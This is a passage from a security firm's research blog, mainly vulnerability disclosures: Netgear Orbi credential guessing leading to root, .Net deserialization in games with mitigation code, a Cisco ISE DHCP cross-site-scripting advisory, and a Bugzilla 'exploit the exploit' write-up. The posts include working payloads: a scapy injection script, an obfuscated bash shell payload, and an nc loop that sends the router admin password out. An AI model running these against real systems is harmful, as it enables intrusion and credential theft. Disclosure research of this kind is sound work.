However, this secret authentication mechanism only involves publicly obtainable information which is: The MAC-addresses of each communication-peer. This means that you are only allowed to call the administrative SOAP API if you know the MAC address of your target satellite as well as your own MAC address:

If the MAC-address of your own computer within the WiFi network ends with A4:A5:A6 and the MAC address of the target satellite ends with B4:B5:B6, you can easily authenticate with username "orbi" and the ascii(MD5-Hash sum) of the string "NETGEAR_Orbi_A4_A5_A6_B4_B5_B6_password".

Impact

It's kind of a chain reaction. The ability to "guess" authentication parameters like username/password to access Netgear Orbi WiFi Mesh nodes with admin privileges via SOAP API, is something that can be exploited to gather sensitive information (cleartext passwords, etc.)

Using these "credentials", any (*) network participant is able to read and write configuration parameters for a particular Mesh-node.

(*) attacker must be on wired network or Orbi WiFi 1. However, if WiFi 2 is allowed to access network nodes in LAN (e.g. printers, etc. - which is likely in business setups), the attacker could also be on WiFi 2.

Reading and writing Netgear Orbi Pro Mesh parameters lead to Remote Code Execution (RCE) on the Mesh-satellites and subsequently to administrative access to the Router/Access Point and eventually the whole network.

As the curious reader might have noticed, all information that is needed to deduce the "password" is available to any user in the local network.

Exploitation

We have uploaded a video to YouTube for documentation:

The video shows the whole setup process of an AP-Mode setup using Mesh-nodes, up until its exploitation (see minute 10:40) using our scripts available at https://github.com/modzero/MZ-20-02-NETGEAR-Orbi-Security.

 $ python3 orbiSatGetShell.py 10.11.42.243 asdfasdf
[0] 169.254.222.20  : dc:71:[REDACTED] (eth1)
[1] 192.168.56.1    : 0a:00:[REDACTED] (eth2)
[...]
[7] 10.11.42.149    : dc:71:[REDACTED] (wifi0)
[...]
[+] Select Interface: 7
[*] Query Orbi Satellite at 10.11.42.243 via local interface dc:71:[REDACTED]
[*] Device details for 10.11.42.243
[-] Device Name:      sat-wkcdv
[-] Serial Number:    5836[REDACTED]
[-] Firmware Version: V2.5.0.108
 
[*] Administrative WLAN
[-]    ssid: skynet
[-]    mode: WPA2-PSK
[-]    psk:  i-1X[REDACTED]
 
[*] Guest WLAN
[-]    ssid: darknet
[-]    mode: WPA2-PSK
[-]    psk:  NewP[REDACTED]
 
[*] Enable telnet <0v0>
[e] Error getting session/timestamp from satellite: 401 (Unauthorized)!
[-] new session/timestamp: 569478051
[-] Success!
  
  —————
  R U N
  C M D
  —————
 
root@SRS60:/# id
id
uid=0(root) gid=0(root) groups=0(root)

Using these exploits, you can gain root access on any Orbi Mesh satellite. Of course, it can be tedious to pwn every single satellite one by one. Instead, let's just get the central Orbi AP/Router root password, which is conveniently available on each satellite:

  1. Change admin password of Netgear Orbi Mesh satellite.
  2. Enable telnet access on satellite.
  3. Login as root via telnet.
  4. Get original root/admin password of the whole Netgear Orbi WiFi Mesh network:
    while [ 1 ]; do config show | grep http_passwd | nc  6666; sleep 5; done &
    

Why? Netgear decided to sync the AP/Router config to satellites periodically. In clear-text via HTTP. This means: Waiting for the original admin password to be synced from AP/Router to satellites is a matter of minutes.

Conclusion

There are quite a few bonus levels and easter eggs hidden in Netgear's WiFi Mesh implementation. We found some, and wrote them down in more detail here. I'm confident that this is only the tip of an iceberg. The current fix implemented by Netgear on April 25th actually prevents me from pwning the system within minutes, but it does not prevent an attacker from pwning it within days or weeks. By merely hiding a new or additional authentication method, Netgear did not fix the root of all evil: the basic stuff.

As of May, 18th 2020, Netgear did not implement well-established cryptographic methods to ensure the confidentiality, authenticity and integrity of their business/pro wireless network configuration.

!Shouts

If you participate in Netgear's bug bounty program, you are prohibited from publicly disclosing vulnerabilities. This is wrong and against the interest of Netgear's own customers.

I encourage you not to participate in their bug bounty program until this is fixed.

As you can see in the timeline of our advisory, Netgear does not care to give you any feedback about your disclosure. Instead, like in our case, they silently pushed updates without notifying us. Also, the vulnerabilities were not even mentioned in their firmware release notes for SRR60 or SRS60.

Needless to say, we were never mentioned, let alone thanked, either.


Posted by Thorsten Schröder | Permanent link

2020-04-17

Deserialization Attacks in .Net Games

Today many games are developed using .Net or a modified .Net Runtime like the Unity engine. This of course means that deserialization vulnerabilities in .Net can also occur in these games.

Serialization functionality seems to mainly be used to store save games. Less frequent uses include user generated content or network transfer of information.

We've discovered several such vulnerabilities in games using our own tooling and will elaborate on a few of them as well as common patterns and pitfalls as well as mitigations here.

It goes without saying that all of the vulnerabilities discussed below have already been fixed.

Tooling and Approach

To find potential deserialization vulnerabilities we used our own NetGadget tool, which we plan to release in the near future.

To interactively analyze vulnerabilities and debug potential exploits we used dnSpy which is an amazing .Net decompiler, analyzer and debugger.

As a test for the NetGadget tool we scanned a complete Steam Library for usage of BinaryFormatter, as a potential sink for a deserialization attack, as seen in Figure 1

Figure 1 - Scanning for BinaryFormatter recursively through a Steam Library

Our tool scans any .dll or .exe file it encounters for a method call matching the pattern given by the -m parameter and stores the information about them in one file per dll or exe.

Since we are looking for vulnerabilities in games, the Assembly-CSharp.dll files, which are where Unity stores a game's custom code, are of particular interest and are highlighted below.

Figure 2 - Output of scan

Each of the generated output files contains information about which functions were called and from where.

Of particular interest are of course calls to BinaryFormatter::Deserialize, since they are potential sinks for a deserialization attack.

Figure 3 - Extracted method call information

When a game using BinaryFormatter is discovered, we need to check for deserialization gadgets within it. Because Unity for instance only loads DLLs included in the games folders, it is necessary to verify which gadgets actually exist since not all known gadgets for that .Net version may be available.
Using NetGadget this process can be significantly sped up, since it can automatically scan for the existance of such gadgets.

Figure 4 for example shows a scan of the game Dragon Cliff. It uses BinaryFormatter insecurely, but the only potential gadget chain our tool reports is a false positive. This particular false positive generally shows up when .Net 2.0 is being used and gives a good indication that no gadget chains are available.

Figure 4 - No real gadget chain in Dragon Cliff

If you compare this to Figure 5, the scan of Tabletop Simulator, a lot more gadget candidates are shown, among them some well known gadget chains, like TempFileCollection or TypeConfuseDelegate1.

Figure 5 - Excerpt of gadget chain candidates of Tabletop Simulator

Once a potential entry point and the existence of deserialization gadgets have been confirmed, as a next step the potential entry points and their call trees need to be evaluated manually with dnSpy or a similiar tool.

This approach has proved efficient in quickly reducing the number of games potentially vulnerable to .Net deserialization attacks. The scanned steam library contained around 400 games (not all of them made in .Net). Eventually around 30 vulnerable games were identified of which 14 were exploitable.

Deserialization Attacks in Totally Accurate Battle Simulator

We will refrain from using screenshots of code that isn't ours. For this reason the following explanations of the details of certain vulnerabilities will discuss the control flow and function names, but not the details of the code in question.

Where is serialization used

Totally Accurate Battle Simulator by Landfall Games is a sandbox game that simulates battles with ragdoll physics.
BinaryFormatter is used to let Players build custom battles and campaigns and to share them over the Steam Workshop

NetGadget flagged the following methods as using the call to BinaryFormatter::Deserialize

  • Landfall.TABS.Workshop.CampaignHandler::GetLoadedCampaignFromDisk
  • Landfall.TABS.Workshop.CampaignHandler::LoadFactionFromDisk
  • Landfall.TABS.Workshop.CampaignHandler::GetLoadedLayoutFromDisk
  • Landfall.TABS.Save.SteamSavesLoader::ReadLocal
  • Landfall.TABS.Save.SteamSavesLoader::OnRemoteStorageFileReadAsyncComplete
  • This leads to two distinct vulnerabilities. One involves the loading of save games and affects the last two functions, the other involves the loading of custom campaigns and battles and affects the first three.

    Save Game Vulnerability

    This vulnerability is short and sweet.
    Since OnRemoteStorageFileReadAsyncComplete will eventually also call ReadLocal, it's enough to investigate what is required to exploit ReadLocal.

    ReadLocal simply reads all bytes of the save file and deserializes them with BinaryFormatter. Thus it's enough to overwrite the save file to trigger a deserialization vulnerability.

    After replacing the save game with a TypeConfuseDelegate payload and starting the game, we see Figure 6 - Success!

    Figure 6 - Sample payload starting two cmd.exe processes

    Workshop Vulnerability

    This vulnerability is a little more involved, but can be used remotely through the Steam Workshop. Due to the nature of the workshop this vulnerability was only tested locally to prevent the accidental spread of the exploit.

    The loading of a faction, campaign or layout from disk will deserialize the associated data. All of those functions are internally called either when a mod is already installed and is being loaded or through a custom content loader's LoadLocalCustomContent method.

    Depending on the type of the content, it will invoke either of the vulnerable functions. The LoadLocalCustomContent itself is only called by the content loader's QuickRefresh method.

    The QuickRefresh method is called from a lot of different sections in code, most interestingly by OnDownloadSuccess and OnSubSuccess as well as the onModBinaryInstalled callback.

    This means that after a mod has been downloaded it will immediately be deserialized, allowing an attacker to trigger the vulnerability by uploading a mod to the Steam Workshop

    Deserialization Attacks in Tabletop Simulator

    We will refrain from using screenshots of code that isn't ours. For this reason the following explanations of the details of certain vulnerabilities will discuss the control flow and function names, but not the details of the code in question.

    Where is Serialization Used

    Tabletop Simulator by Berserk Games is a multiplayer physics sandbox that allows players to create and play tabletop games remotely.

    In order to facilitate the exchange of games and the storing of table states the game employs two different methods of serialization: Newtonsofts' JsonSerializer and BinaryFormatter. The vulnerabilities we've found lie in the parts of the code that use BinaryFormatter.

    BinaryFormatter is used to load what the code refers to as a PhysicsState.

    The deserialization of such a physics state can either be triggered over the network through the LoadPromotedPhysicsState RPC call or through the loading of a mod that isn't in JSON format.

    The RPC Vulnerability

    Tabletop Simulator has an RPC mechanism that is, among other things, used to administrate a game host remotely.

    One of these administrative functions is LoadPromotedPhysicsState.
    It gets passed an array of bytes which are then used to call GetPhysicsState, which in turn calls BinaryFormatter::Deserialize with the data. To call this function two criteria need to be met.

  • Firstly it may only be called on the host of a game.
  • Secondly it may only be called by users with admin privileges in that hosts session.
  • Requiring administrative privileges on a server to exploit the host seems restrictive at first.
    A server's host can however migrate the hosting of the game to another client on the server. This causes two main changes in user roles in the game.

  • Firstly it makes the client, that was migrated to, a host, fulfilling the first requirement.
  • Secondly the former host is promoted to admin in the new hosts session, fulfilling the second requirement.
  • Thus a malicious host can meet both requirements by migrating the host to their target. They can then send an arbitrary byte array to the newly created host's LoadPromotedPhysicsState method, triggering deserialization with arbitrary data.

    This allows a deserialization attack to be performed which can execute arbitrary code remotely.

    The following video demonstrates this attack from the victims perspective.

    The Mod Vulnerability

    In Tabletop Simulator users can upload their table setups and scripts into the Steam Workshop to share them with the community. These mods can be subscribed to and downloaded to use by any player. When a mod has finished downloading it will eventually be deserialized.
    When the download from the Steam Workshop has completed the CallResultWorkshopReadDownload callback method will be invoked.
    This method in turn calls SerializationScript::Save which attempts to load the file contents with the GetPhysicsState method first and the JSON Serializer second.
    GetPhysicsState then invokes BinaryFormatter::Deserialize.

    A malicious attacker is able to upload a mod that will execute arbitrary code when deserialized, potentially allowing it to spread through the Steam Workshop.

    Mitigations

    In its default configuration BinaryFormatter in .Net is insecure. Several well known gadget chains exist that can be easily used to gain arbitrary code execution.

    BinaryFormatter does however allow the definition of a Binder class which handles the resolution of types used in the Serialization and Deserialization processes.

    Using such a Binder, whitelisting of expected types can be facilitated with relative ease, providing resilience against deserialization gadgets. This method was used to fix all of the vulnerabilities mentioned above. Following is an example Binder that allows the restriction of deserialized types to those required to deserialize the generic type T. It is provided under the GNU All-permissive license.

    /*Copyright 2020, Nils Ole Timm - modzero
    
    Copying and distribution of this file, with or without modification,
    are permitted in any medium without royalty,
    provided the copyright notice and this notice are preserved.
    This file is offered as-is, without any warranty.*/
    
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.Threading.Tasks;
    using System.Reflection;
    using System.Collections;
    using System.Runtime.Serialization;
    using System.Runtime.Serialization.Formatters.Binary;
    using System.Runtime.Serialization.Formatters;
    
    namespace StronglyTypedSerializationBinder
    {
        //A binder can control which types are used in deserialization
        //This binder only allows the deserialization of objects of the expected type
        //and its member fields
        public class StronglyTypedBinder<T> : SerializationBinder
        {
            //This function is called when the deserialization needs to find the runtime type
            //associated with the stored type of the serialized data
            public override Type BindToType(string assemblyName, string typeName)
            {
                Type type;
                //Compute the allowed types for this deserialization binder if they haven't already
                //been computed
                if (allowedTypes.Count == 0)
                {
                    ComputeAllowedTypes();
                }
                if (allowedTypes.TryGetValue(typeName, out type))
                    return type;
                //If the type isn't found return typeof(object) to cause harmless default behaviour
                return typeof(object);
            }
    
            //Calculate which types should be allowed for type T
            private void ComputeAllowedTypes()
            {
                Type baseType = typeof(T);
                //Add base type and types of fields and their fields recursively up to maximum depth
                AddAllowedTypesRecursive(baseType, 0);
            }
    
            //Recursively add types of fields to list
            private void AddAllowedTypesRecursive(Type t, int depth)
            {
                //Stop when maximum depth of recursion is reached
                if (depth > MAX_RECURSIONS)
                    return;
                //Add base type if not already added
                if (!allowedTypes.ContainsKey(t.FullName))
                    allowedTypes.Add(t.FullName, t);
                //If type is primitive no need to recurse further
                if (t.IsPrimitive)
                    return;
                //If type is generic, handle fields and generic parameters and do special handling of Dictionary
                else if (t.IsGenericType)
                {
                    Type[] genericArguments = t.GetGenericArguments();
                    foreach (Type t2 in genericArguments)
                        AddAllowedTypesRecursive(t2, depth + 1);
                    foreach (FieldInfo fi in t.GetFields(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic))
                    {
                        AddAllowedTypesRecursive(fi.FieldType, depth + 1);
                    }
                    if(t.GetGenericTypeDefinition() == typeof(Dictionary<,>))
                    {
                        AddAllowedTypesRecursive(Type.GetType("System.Collections.Generic.GenericEqualityComparer`1").MakeGenericType(t.GetGenericArguments()[0]), MAX_RECURSIONS);
                        AddAllowedTypesRecursive(typeof(KeyValuePair<,>).MakeGenericType(genericArguments), MAX_RECURSIONS);
                    }
                }
                //If type is an array add the type of the element
                else if (t.IsArray)
                {
                    AddAllowedTypesRecursive(t.GetElementType(), depth + 1);
                }
                //In all other cases add the types of all fields
                else foreach (FieldInfo fi in t.GetFields(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic))
                    {
                        AddAllowedTypesRecursive(fi.FieldType, depth + 1);
                    }
            }
    
            static Dictionary<string, Type> allowedTypes = new Dictionary<string, Type>();
            const int MAX_RECURSIONS = 4;
        }
    }
    

    Posted by Nils Ole Timm | Permanent link | File under: security, software, hacking, exploit, re, advisory

    2020-02-19

    More security brings more insecurity

    modzero found a vulnerability in the Cisco Identity Services Engine (ISE) environment, which allows arbitrary participients of a network to inject arbitrary JavaScript payload right into the administrative webpage of the Cisco ISE administration interface.

    CISCO ISE is considered to enhance the overall network security, by limiting access to local area networks. Arbitrary users using DHCP as a yet anonymous participent are able to exploit weaknesses in Cisco's administrative interfaces and thus by-pass the increased security level:

    The hostname and the vendor_class_id options of any DHCP request can be abused to inject malicious payload to execute code in the context of the browser of the administator, connecting to the Web interface. Further details and a PoC are available in our advisory.

    Direct Link: https://www.modzero.com/advisories/MZ-19-03-CISCO-ISE.txt

    ----------------------------------------------------[MZ-19-03]----v1.2--
    
    modzero Security Advisory:
    
    Unauthenticated persistent cross-site scripting injection into the
    administrative console of CISCO ISE web application via DHCP request
    
    ------------------------------------------------------------------------
    
    ------------------------------------------------------------------------
    
    1. Timeline
    
    ------------------------------------------------------------------------
    
    * 2019-11-22: Advisory sent to Cisco PSIRT psirt@cisco.com
    * 2019-11-22: PSIRT opened case (PSIRT-0535851956) 
    * 2019-11-22: PSIRT communicated tentative publishing date '2020-02-19'
    * 2020-02-12: PSIRT incident manager confirmed reproduceability
    * 2020-02-12: Received an unofficial CVE Number CVE-2020-3156
    * 2020-02-19: modzero released advisory to the public
    
    In  accordance  with  modzero's  disclosure  policy,  the  advisory  is
    expected  to  be published  not  later than  February  21st, 2020.  Our
    disclosure policy is available at:
    
    https://www.modzero.ch/static/modzero_Disclosure_Policy.pdf
    
    ------------------------------------------------------------------------
    
    2. About
    
    ------------------------------------------------------------------------
    
    Affected vendor: Cisco
    Latest known to be vulnerable version products:
        * Cisco Identity Services Engine version 2.6.0.156, Patch 2,3
          - Product Identifier: SNS-3655-K9
          - Version Identifier A0
          - ADE-OS Version 3.0.5.144
    
    The Cisco Identity Services Engine is the engine behind Cisco's Network
    Access Control  solution. It  enables the  creation and  enforcement of
    security and access policies for endpoint devices connected to the
    company's routers and switches. 
    
    ------------------------------------------------------------------------
    
    3. Details
    
    ------------------------------------------------------------------------
    
    An unauthenticated attacker who is  able to inject a specially  crafted
    DHCP  request  packet into  the  network controlled  by  Cisco Identify
    Service  Engine  (ISE),  is  able to  persistently  store  code  (e. g.
    JavaScript),  which  is  executed in  the  context  of the  Web-browser
    accessing the Web-based management interface.
    
    The vulnerability is due to insufficient validation and encoding of the
    attacker-controllable  input  within  the  hostname  and  vendor  class
    identifier field of processed DHCP request packets.
    
    The attacker-controlled  code will  be executed  in the  context of the
    user  of the  Web-based management  console. If  a legitimate  user is
    reviewing  an  Endpoint's  attributes  within  the  Identity   Services
    Engine's Web- based-management-interface.
    
    The attacker-controlled  code will  be executed  in the  context of the
    user that is currently logged  in to the Web-based management  console,
    when  the  endpoint  attribute  details  are  reviewed  by  opening the
    following
    URL: 
    
    https://ISESRV/admin/login.jsp#context_dir/context_dir_devices/endpointDetails
    
    ------------------------------------------------------------------------
    
    4. Impact
    
    ------------------------------------------------------------------------
    
    The code will be executed with the rights of the user accessing the Web-
    based management console. If the user has administrative rights, the
    attacker might be able to leverage arbitrary functions of the Web-based
    management interface.
    
    ------------------------------------------------------------------------
    
    5. Proof of Concept exploit
    
    ------------------------------------------------------------------------
    
    Using the following python script, two simple JavaScript code fragments 
    will be sent in the hostname and vendor class identifier fields of the
    DHCP request. 
    
    #!/usr/bin/env python
    
    from scapy.all import *
    import scapy
    
    conf.iface = "eth0"
    hostname_payload = "<script>alert('hostname payload')</script>"
    vendor_class_id_payload = "<script>alert('v class id payload')</script>"
    
    _, hw   = get_if_raw_hwaddr(conf.iface)
    ethernet = Ether(dst='ff:ff:ff:ff:ff:ff', src=hw, type=0x800)
    ip       = IP(src ='0.0.0.0', dst='255.255.255.255')
    udp      = UDP (sport=68, dport=67)
    bootp    = BOOTP(op=1, chaddr=hw)
    dhcp     = DHCP(options=[("message-type","request"), \
        ("hostname",hostname_payload),("vendor_class_id", \
        vendor_class_id_payload),('end')])
    
    packet   = ethernet / ip / udp / bootp / dhcp
    
    sendp(packet, iface=conf.iface)
    
    Once a person reviews the attributes of an endpoint within the ISE web-
    based management interface the code will be executed.
    
    ------------------------------------------------------------------------
    
    6. Workaround
    
    ------------------------------------------------------------------------
    
    -
    
    ------------------------------------------------------------------------
    
    7. Fix
    
    ------------------------------------------------------------------------
    
    No software updates are available yet.
    
    ------------------------------------------------------------------------
    
    8. Credits
    
    ------------------------------------------------------------------------
    
     * Max Moser 
     * Katharina Maennle
    
    ------------------------------------------------------------------------
    
    9. About modzero
    
    ------------------------------------------------------------------------
    
    The independent company modzero assists clients with security  analysis
    in  the  complex areas   of  computer technology.  The  focus  lies  on
    highly   detailed   technical  analysis   of   concepts,  software  and
    hardware  components  as  well   as  the  development  of    individual
    solutions.  Colleagues   at modzero  work   exclusively in   practical,
    highly technical computer-security areas and can draw on decades of
    experience in various platforms, system concepts, and designs.
    
    Website: https://www.modzero.ch
    E-Mail: contact@modzero.ch
    
    ------------------------------------------------------------------------
    
    10. Disclaimer
    
    ------------------------------------------------------------------------
    
    The information in the advisory is believed to be accurate at the time
    of publishing  based on  currently available  information. Use  of the
    information  constitutes acceptance  for use  in an  AS IS  condition.
    There are no warranties with  regard to this information. Neither  the
    author  nor  the  publisher  accepts  any  liability  for  any direct,
    indirect, or consequential loss or damage arising from use of, or
    reliance on, this information.
    
    


    Posted by modzero | Permanent link | File under: security, software, hacking, cisco, exploit, advisory

    2019-10-04

    Exploit Wars II - The server strikes back

    When working in security we usually worry about the security of our customers and the potential vulnerabilities in their software or their configurations.

    But what about the attackers? Hardly anybody seems to worry about them, and even they themselves are usually mostly concerned with OPSEC if anything at all.

    Given that inherent imbalance it seemed only fair to look at the security of exploits for once, rather than always servers or services.

    Finding an Exploit to Exploit

    There are some prerequisits for an exploit to be exploitable in an impactful way.

    • It should be readily available. Otherwise any potential exploit is very unlikely to work on any kind of scale.
    • It should be a remote exploit. Otherwise it wouldn't really run on the attackers (or is it victim now?) system.
    • Ideally it uses a system() function call. This is a good target for making command injection work.
    • It needs to act differently depending on a server response. Otherwise we have no way to influence the exploit we want to exploit.

    The first three points can be easily handled.

    • Availability - Everything that is in ExploitDB is widely available
    • Remote Exploit - grep for "remote"
    • Using system() - grep for "system(.*)"

    For the last point things are a bit more tricky and require manual inspection eventually. Which isn't too bad, since ultimately, even if it uses user input(/victim input), we'd still have to manually check if it's exploitable. Luckily for us Kali Linux comes preinstalled with exploitdb, so searching through the files is easy.

    Fig.1 - The search command

    After a bit of manual inspection we find a candidate.

    The Victim Exploit

    The exploit is for Mozilla Bugzilla up to and including 2.10.

    In the process of exploitation it fetches a product name from the server using lynx and a call to system(). The call to system() is a good indicator for potential exploitation. You can see the relevant part of the exploit below. The line has been cut off a bit on the right, but it just passes more parameters and pipes the output into a file.

    Fig.2 - Fetching a product name

    After fetching the information, it processes it to extract the product name. Essentially it extracts everything after "product=" up until the first double quote.

    With the extracted product name it sends another request to the server to get additional information. In that request it uses the product name that was previously extracted from the servers' reply.

    Fig.3 - Using the product name

    The line is again cut off on the right. Simply because it's too long. The only important thing to know about the missing part is that the output is piped into a file named enter_bug.cgi

    This call to system() uses the $page variable, which is constructed from the product name in $product amongst other things. So there's a way to influence the call to system() with what is returned to the first request: arbitrary data from an untrusted source, namely the exploitee.

    The only TINY problem is that the product name is encoded using the antiIDS() function.

    The Little Big Problem of Getting Through the Anti IDS Encoder

    Let's take a look at antiIDS(), which is built to circumvent Intrusion Detection Systems by avoiding certain characters.

    Fig.4 - The HORROR

    Well, that's easy. Just write a command injection that doesn't use any of the following characters:

    • Numbers
    • Letters
    • Any quotation marks
    • Spaces
    • .-|<>\

    Okay, so maybe we should see if we can find another vulnerable exploit.

    At this point I actually went to look for other potentially vulnerable exploits, came up with nothing and eventually got back to this one. We sat down to look at this with the CTF team I participate in and had a go at it. It's surprisingly tricky to do anything without letters or numbers, so when we found a way to be able to use numbers we were all really excited. I'll try to explain how it works below.

    Bashing our Heads Against the Wall

    Globbing may help: Linux shells can expand certain characters to match multiple paths at once. A * matches anything in the current directory. A ? matches a single character.

    So /b?n/b?sh will most likely match /bin/bash, but in contrast to the characters / and ?, letters are filtered by the IDS routine. Unfortunately, when trying to run /???/???? in a shell, it runs the first match it finds, giving that program all other matches as parameters.

    We need to find something useful that we can uniquely match just from how many characters it has, so we can execute it using only ? and /. Sadly, there is nothing like that on a standard Kali Linux installation, which is what we are targeting.

    Creating Numbers From Tabs and Special Chars

    We can, however, declare a Bash function, since we can use () and {} as well as ;. With that ability and also $# which expands to the number of parameters given and using tabs instead of spaces, we can actually construct numbers like this:

    ____()    {    __=$#;};____    $#;_=$__;

    Let's break this one down:

    ____() { __=$#;}; declares the function ____ which assigns the number of its arguments to the variable $__.
    ____ $#; calls that function with one argument so that the number 1 is assigned to $__
    _=$__; assigns the number 1 to $_

    And after all that effort to create the number 1 we can use some more magic to construct the numbers 3 and 7 as well and create the expression /???/?1?/??????3?7 which matches only the path /usr/X11/python3.7.

    ____()    {    __=$#;};____    $#;_=$__;____    $#    $#    $#;___=$__;____    $#    $#    $#    $#    $#    $#    $#;/???/?$_?/??????$___?$__
    Note how we shortened the process for the last number a bit by skipping the assignment to another variable and used __ directly.

    That's great, but so far this would only spawn an interactive python shell, so we aren't fully there yet. As mentioned earlier, the response from the server is piped into a file called enter_bug.cgi. This file is placed in a newly created, empty directory. So if we do our same matching trick again, we will most likely match the exact file we want with ?????_???????.

    The Python executable takes this file then as an argument and executes it. We can just make the first line a python comment, which doesn't stop the regex from parsing the payload, and the rest will be valid python.

    Putting the Exploit in the Exploit

    Here's the finished Mozilla Bugzilla exploit exploit. Just serve this on the enter_bug.cgi request of your Bugzilla installation and watch the magic.

    #enter_bug.cgi?product=$(____()    {    __=$#;};____    $#;_=$__;____    $#    $#    $#;___=$__;____    $#    $#    $#    $#    $#    $#    $#;/???/?$_?/??????$___?$__    ?????_???????)
    import sys
    import os
    print("Yo dawg. I heard you like exploits. So I made an exploit for your exploit, so you can be exploited while you exploit.", file=sys.stderr)
    os.system("bash")
    

    Fig.5 - The Magic
    And the process tree to prove it.
    Fig.6 - The Proof of Magic

    Conclusion

    Don't run everything you find on the Internet! Especially if it's the response of a server you're attacking.

    At this point I'd also like to credit eibwen for his help with working out the payload. Finally, cross your heart, have you ever done backups of your Kali-system? :-)


    Posted by Nils Ole Timm | Permanent link | File under: opensource, github, hacking, opsec, exploit, rant

    2019-09-27

    Wir suchen: Backoffice-Mitarbeiter*in (w/d/m) für die Büro-Organisation und Buchhaltung

    Wir sind eine kleine, junge IT-Sicherheits-Firma von acht Jahren. 2011 in Rapperswil in der Schweiz gegründet und 2013 nach Berlin expandiert, betreiben wir zwei Büros in Winterthur und Berlin. Wir beraten Firmen und Konzerne aus der zivilen Wirtschaft hinsichtlich IT-Sicherheit. Kunden mit militärischem oder nachrichtendienstlichem Hintergrund lehnen wir ab. Für unser Büro in Berlin (nahe S-Bhf Friedrichstr.) suchen wir zeitnah eine weitere nette Person für die Büro-Organisation und Buchhaltung.

    Aufgaben:

    • Administrative und organisatorische Tätigkeiten
    • Sekretariatsaufgaben (Korrekturlesungen, Korrespondenz, Postbearbeitung, E-Mail-Bearbeitung)
    • Buchhaltungstätigkeiten wie z. B.: Verbuchung von laufenden Geschäftsfällen
    • Personalsachbearbeitung vorbereitend für unser Lohnbüro oder selbständige Lohnbuchhaltung
    • Gehaltsüberweisungen
    • Administrative Arbeiten im Rechnungswesen
    • Abwicklung Zahlungsverkehr sowie Rechnungsprüfung
    • Ausbau und Mitgestaltung von betriebswirtschaftlichen Abläufen
    • Reise-Planung/Buchung/Koordinierung

    Anforderungen:

    • Kontaktfreudigkeit, Flexibilität
    • Organisationstalent
    • Gute Deutsch- & Englisch-Kenntnisse in Wort und Schrift
    • Hohe Team- und Serviceorientierung
    • Kaufm. Ausbildung bzw. entsprechende Erfahrung
    • Versiert im Umgang mit den gängigen Office-Anwendungen (MS-Office)
    • Vertrauenswürdigkeit, Genauigkeit
    • Eigenverantwortliche und selbständige Arbeitsweise
    • Teil- oder Vollzeit möglich

    Spricht für Dich:

    • Neugier
    • Grundsätzliches Verständnis von IT-Sicherheit
    • Sicherer Umgang mit PGP-Verschlüsselungssoftware
    • Kenntnisse im Umgang mit Word Makros/VB
    • Pragmatisch, Lösungsorientiert
    • Recherche- und Dokumentations-Fertigkeiten

    Wir bieten:

    • Motivierte, freundliche und selbständige Arbeitskolleg*innen
    • Interessantes, herausforderndes, abwechslungsreiches & vielfältiges Aufgabengebiet in einem jungen Unternehmen
    • Langfristige und vielseitige Position
    • Selbständige Arbeitsmöglichkeit
    • Technische Weiterbildung in Sachen IT-Sicherheit

    Wenn Du es bis hier geschafft hast, schreib uns doch bitte eine E-Mail: jobs@modzero.ch - den passenden PGP-Schlüssel findest Du hier: http://www.modzero.ch/pgp/jobs_modzero.ch.asc.


    Posted by modzero | Permanent link | File under: modzero, staff

    2019-03-22

    Multiple vulnerabilities in Cisco IP Phone 7800 and 8800 series [MZ-19-01]

    Link to modzero's security advisory MZ-19-01: https://www.modzero.ch/advisories/MZ-19-01-Cisco-Phones.txt
    -----------------------------------------------------------------v1--
    
    modzero Security Advisory:
    Multiple vulnerabilities in the web interface of the Cisco IP Phone
    7800 and 8800 series [MZ-19-01]
    
    ---------------------------------------------------------------------
    
    ---------------------------------------------------------------------
    
    1. Timeline
    
    ---------------------------------------------------------------------
    
    * 2018-06-28: Report with findings delivered to a customer and
      findings have been reported by our customer to Cisco.
    * 2018-11-21: This advisory has been sent to the Cisco security team
      (psirt@cisco.com) to get a status regarding security patches.
    * 2018-11-21: Initial response from PSIRT to us.
    * 2018-12-17: Received Cisco bug IDs: CSCvn56168, CSCvn56175,
      CSCvn56194, CSCvn56213, CSCvn56221
    * 2019-01-23: Information from Cisco that other phones are affected
      as well and they still work on a fix.
    * 2019-02-19: 90 days period for keeping detailed information back is
      over.
    * 2019-02-19: Cisco asks to extend period to 2019-03-20. Extension
      agreed by modzero.
    * 2019-03-06: Received CVE-IDs from Cisco
    * 2019-03-20: Cisco releases advisory and fixes
    * 2019-03-20: Advisory published
    
    ---------------------------------------------------------------------
    
    2. Summary
    
    ---------------------------------------------------------------------
    
    Vendor: Cisco
    
    * 3.1 Buffer overflow in the phone's webserver
      CVE-2019-1716
      modzero: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H -> 8.1
      URL:
    https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ip-phone-rce
      CVSS Base Score according to Cisco: 7.5
    
      Affected products according to Cisco:
        * 10.3(1)SR5 for Unified IP Conference Phone 8831
        * 11.0(4)SR3 for Wireless IP Phone 8821 and 8821-EX
        * 12.5(1)SR1 for the rest of the IP Phone 7800 and 8800 Series
    
      Not affected according to Cisco:
        * IP phones running Multiplatform Firmware
    
    * 3.2 Phone's web interface fails to restrict access to functions 
      CVE-2019-1763
      modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H -> 8.2
      URL:
    https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ipab
      CVSS Base Score according to Cisco: 7.5
    
      Affected products according to Cisco:
        * 11.0(5) for Wireless IP Phone 8821 and 8821-EX
        * 12.5(1)SR1 for the IP Conference Phone 8832 and the rest of the
          IP Phone 8800 Series
    
      Not affected according to Cisco:
        * IP Conference Phone 8831
        * IP phones running Multiplatform Firmware
    
    * 3.3 File upload vulnerability in the phone's web interface
      CVE-2019-1766
      modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H -> 9.1
      URL:
    https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ipfudos
      CVSS Base Score according to Cisco: 7.5
    
      Affected products according to Cisco:
        * IP Phone 8800 Series products running a SIP Software release
          prior to 12.5(1)SR1
    
      Not affected according to Cisco:
        * Cisco IP Phone 7800 Series
        * Cisco IP Conference Phone 7832
        * Cisco Wireless IP Phone 8821(-EX)
        * Cisco IP Conference Phone 8831
